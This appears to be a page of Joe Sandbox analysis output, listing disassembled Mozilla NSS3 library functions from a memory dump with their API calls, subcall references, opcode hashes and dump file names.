API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 36bbc4d26d17cc560b7ae2cd51adabfec58e015a1bd71feaace627e8a0201c49
Instruction ID: 240d4b972d0def9bd98f08c2c502249ec49581084a88997c5e47233645903eb2
Opcode Fuzzy Hash: 36bbc4d26d17cc560b7ae2cd51adabfec58e015a1bd71feaace627e8a0201c49
Instruction Fuzzy Hash: 3151B1B6E062019BFB10CF68DC40BAA77F4AF48368F160425D959A7340EB31EE41CB95

Function 6D03FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6D03FFE5

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

PR_EnterMonitor.NSS3(?), ref: 6D040004
PR_EnterMonitor.NSS3(?), ref: 6D04001B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: b61590812f640f26972fe05c4a73a4f7476e9f2c9c40d5f295e9370427725f9c
Instruction ID: 8cf27ceb3cc9f696506d7c99f619f799a717f968c0413aa5eec80cc7ce954096
Opcode Fuzzy Hash: b61590812f640f26972fe05c4a73a4f7476e9f2c9c40d5f295e9370427725f9c
Instruction Fuzzy Hash: FE41367560C601CBF7208A2ADC51FAF72E5EB61304F50883DD54BEB2A5E3B9A545C742

Function 6CFFEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CFFEF38

Part of subcall function 6CFE9520: PK11_IsLoggedIn.NSS3(00000000,?,6D01379E,?,00000001,?), ref: 6CFE9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CFFEF53

Part of subcall function 6D004C20: TlsGetValue.KERNEL32 ref: 6D004C4C
Part of subcall function 6D004C20: EnterCriticalSection.KERNEL32(?), ref: 6D004C60
Part of subcall function 6D004C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6D004CA1
Part of subcall function 6D004C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6D004CBE
Part of subcall function 6D004C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6D004CD2
Part of subcall function 6D004C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D004D3A

PR_GetCurrentThread.NSS3 ref: 6CFFEF9E

Part of subcall function 6D089BF0: TlsGetValue.KERNEL32(?,?,?,6D0D0A75), ref: 6D089C07

free.MOZGLUE(00000000), ref: 6CFFEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFFF016
free.MOZGLUE(00000000), ref: 6CFFF022

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: d66188b98bcc7095627341908c9b2a90f7af4e71acd9e492e351c4aba0e46f8b
Instruction ID: 202ab8824573d6f8f5264fe1176fa59878a73280f5c91154f729814067364ec7
Opcode Fuzzy Hash: d66188b98bcc7095627341908c9b2a90f7af4e71acd9e492e351c4aba0e46f8b
Instruction Fuzzy Hash: 36416471D0020AABEF018FA9DC45BEE7BB5EF48358F044025F914A7361E771D915CBA5

Function 6CFECF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CFECF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CFED002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CFED016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFED025
PR_NewLock.NSS3 ref: 6CFED043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CFED074

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 73729d7dddf8b04cb5627d8ac6eeb25e96e3dbca1953da31b3e09c59d36ae4ea
Instruction ID: 4d2acf48c0aae8b5244110a29651f29b6f89358202ccc37589383e2b0bae4f01
Opcode Fuzzy Hash: 73729d7dddf8b04cb5627d8ac6eeb25e96e3dbca1953da31b3e09c59d36ae4ea
Instruction Fuzzy Hash: 8D41E3B1A01301AFEB10DF29C88479B7BE4EF4C318F15416AEE198BB4AD770D485CBA1

Function 6D033FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D033FF2

Part of subcall function 6D0214C0: TlsGetValue.KERNEL32 ref: 6D0214E0
Part of subcall function 6D0214C0: EnterCriticalSection.KERNEL32 ref: 6D0214F5
Part of subcall function 6D0214C0: PR_Unlock.NSS3 ref: 6D02150D

PORT_ArenaMark_Util.NSS3(?), ref: 6D034001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6D03400F

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6D034054

Part of subcall function 6CFCBB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CFCBC24
Part of subcall function 6CFCBB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFCBC39
Part of subcall function 6CFCBB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CFCBC58
Part of subcall function 6CFCBB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CFCBCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D034070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6D0340CD

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 6af5f12c50ae7b26dc24b53dbee192f983d5e6b32c23a80d76e9656d4061cbf8
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 0731C771F04356A7FB008F64DC81B7F33A4AF95608F064225EE489F246FB73E9548692

Function 6CFD2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CFC2D1A), ref: 6CFD2E7E

Part of subcall function 6D0207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFC8298,?,?,?,6CFBFCE5,?), ref: 6D0207BF
Part of subcall function 6D0207B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0207E6
Part of subcall function 6D0207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D02081B
Part of subcall function 6D0207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D020825

PR_Now.NSS3 ref: 6CFD2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CFD2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CFC2D1A), ref: 6CFD2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CFC2D1A), ref: 6CFD2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CFD2F81

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 2a9bba70ede7e6357b3b5193629d3b57c67d8385c230a54f288c365470e737c1
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 2731E4716052018AF710C655DC88BAFB366EF80318F6E0E79D529979D0EB33BC46C6A3

Function 6CFC0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CFC0A2C), ref: 6CFC0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CFC0A2C), ref: 6CFC0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CFC0A2C), ref: 6CFC0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CFC0A2C), ref: 6CFC0E90
free.MOZGLUE(00000000), ref: 6CFC0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CFC0A2C), ref: 6CFC0ED9

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 55485e1570973b57dcb819461151fbb393e3adfe06056e646ecf3d709aa85017
Instruction ID: cb40811edf5dde24d21834da01c35b4e796d44458cf9f4b8ea88c14b26519504
Opcode Fuzzy Hash: 55485e1570973b57dcb819461151fbb393e3adfe06056e646ecf3d709aa85017
Instruction Fuzzy Hash: FF213EF3F8438757FB0045669C85BEB76AEDBC1748F190035D91863602FBE0C81682A3

Function 6CFCAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFCAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CFCAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFCAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CFCAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6D0E9500), ref: 6CFCAF23

Part of subcall function 6D01F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6D01F0C8
Part of subcall function 6D01F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D01F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFCAF37

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 56b0ffb1b44c749274791e45b0eb279e51b77c0dbd59f096981e4de3d476ef60
Instruction ID: 36be7e30f2656530d25a3c6ca46671b465671a169d28fa1c2af4383c894f9659
Opcode Fuzzy Hash: 56b0ffb1b44c749274791e45b0eb279e51b77c0dbd59f096981e4de3d476ef60
Instruction Fuzzy Hash: E12123B2B0D201ABFB108E299C41B5B7BE4AF8572CF154318FD58AB2C1E731E50487A7

Function 6D04EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D04EE85
realloc.MOZGLUE(28678A59,?), ref: 6D04EEAE
PORT_Alloc_Util.NSS3(?), ref: 6D04EEC5

Part of subcall function 6D020BE0: malloc.MOZGLUE(6D018D2D,?,00000000,?), ref: 6D020BF8
Part of subcall function 6D020BE0: TlsGetValue.KERNEL32(6D018D2D,?,00000000,?), ref: 6D020C15

htonl.WSOCK32(?), ref: 6D04EEE3
htonl.WSOCK32(00000000,?), ref: 6D04EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6D04EF01

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: a10d26162babf68b1d2386cf4508aff8ec8a4f52bb21b576f567d289c43be37b
Instruction ID: 4e668fb3464568e3e178d9b78cf3a4a3f726f5f361763f7caec0ddd6f841991b
Opcode Fuzzy Hash: a10d26162babf68b1d2386cf4508aff8ec8a4f52bb21b576f567d289c43be37b
Instruction Fuzzy Hash: 1B21AD71A04215EBEB10DF29DC80B5AB7A4EF49258F158179ED19DB242E330E810CBE2

Function 6CFFEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFFEE49

Part of subcall function 6D01FAB0: free.MOZGLUE(?,-00000001,?,?,6CFBF673,00000000,00000000), ref: 6D01FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CFFEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CFFEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CFFEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CFFEEB3

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 9141ce858c86de22f7832e38e81099cc7bfdb70eaddf82ca6a0b28b558eb669a
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 2321C0B7A042106BEB118A68EC81FAB77A8EB49708F060164FE189B351E671DC15C7E1

Function 6D015ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6D015D71), ref: 6D015F0A
TlsGetValue.KERNEL32 ref: 6D015F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6D015F2F
PR_Unlock.NSS3(890008E8), ref: 6D015F55
PR_SetError.NSS3(00000000,00000000), ref: 6D015F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6D015F7D

Part of subcall function 6D015220: TlsGetValue.KERNEL32(00000000,890008E8,?,6D015F82,8B4274C0), ref: 6D015248
Part of subcall function 6D015220: EnterCriticalSection.KERNEL32(0F6D0E0D,?,6D015F82,8B4274C0), ref: 6D01525C
Part of subcall function 6D015220: PR_SetError.NSS3(00000000,00000000), ref: 6D01528E
Part of subcall function 6D015220: PR_Unlock.NSS3(0F6D0DF1), ref: 6D015299
Part of subcall function 6D015220: free.MOZGLUE(00000000), ref: 6D0152A9

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: 119dc7da0a1657aa0778f315e2281f1beb79143e3ed3fee33560e64d0cb8f528
Instruction ID: 894d00faec22d404ccacc6e884e51a6bd42f3a4ddf23a5f8720f8a9f2ddb32b6
Opcode Fuzzy Hash: 119dc7da0a1657aa0778f315e2281f1beb79143e3ed3fee33560e64d0cb8f528
Instruction Fuzzy Hash: E521E7B5C042059FEB009FA4EC45BBEBBF4FF49308F554029E906A7201E771A954CB91

Function 6CFC7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFC7F68

Part of subcall function 6D020FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021000
Part of subcall function 6D020FF0: PR_NewLock.NSS3(?,00000800,6CFBEF74,00000000), ref: 6D021016
Part of subcall function 6D020FF0: PL_InitArenaPool.NSS3(00000000,security,6CFC87ED,00000008,?,00000800,6CFBEF74,00000000), ref: 6D02102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CFC7F7B

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFC7FA7

Part of subcall function 6D01FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D018D2D,?,00000000,?), ref: 6D01FB85
Part of subcall function 6D01FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D01FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0E919C,?), ref: 6CFC7FBB

Part of subcall function 6D01B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0F18D0,?), ref: 6D01B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFC7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6D0E915C,00000014), ref: 6CFC7FFE

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: f1fdfee95b2d31ca0f2249f958c1127f7c35878876bfcdc19f712496c08e05cc
Instruction ID: 88af3d9e5a77192e220cda2ce3317ea6dad4796884171ef529cafde65517d59f
Opcode Fuzzy Hash: f1fdfee95b2d31ca0f2249f958c1127f7c35878876bfcdc19f712496c08e05cc
Instruction Fuzzy Hash: 52112471F082065AF7209A35AC84B7B76E8DF5969CF01062AFD69C3681F720A544C2E2

Function 6CFCBE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6D04DC29,?), ref: 6CFCBE64

Part of subcall function 6D020FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021000
Part of subcall function 6D020FF0: PR_NewLock.NSS3(?,00000800,6CFBEF74,00000000), ref: 6D021016
Part of subcall function 6D020FF0: PL_InitArenaPool.NSS3(00000000,security,6CFC87ED,00000008,?,00000800,6CFBEF74,00000000), ref: 6D02102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6D04DC29,?), ref: 6CFCBE78

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6D04DC29,?), ref: 6CFCBE96

Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6D04DC29,?), ref: 6CFCBEBB

Part of subcall function 6D01FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D018D2D,?,00000000,?), ref: 6D01FB85
Part of subcall function 6D01FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D01FBB1

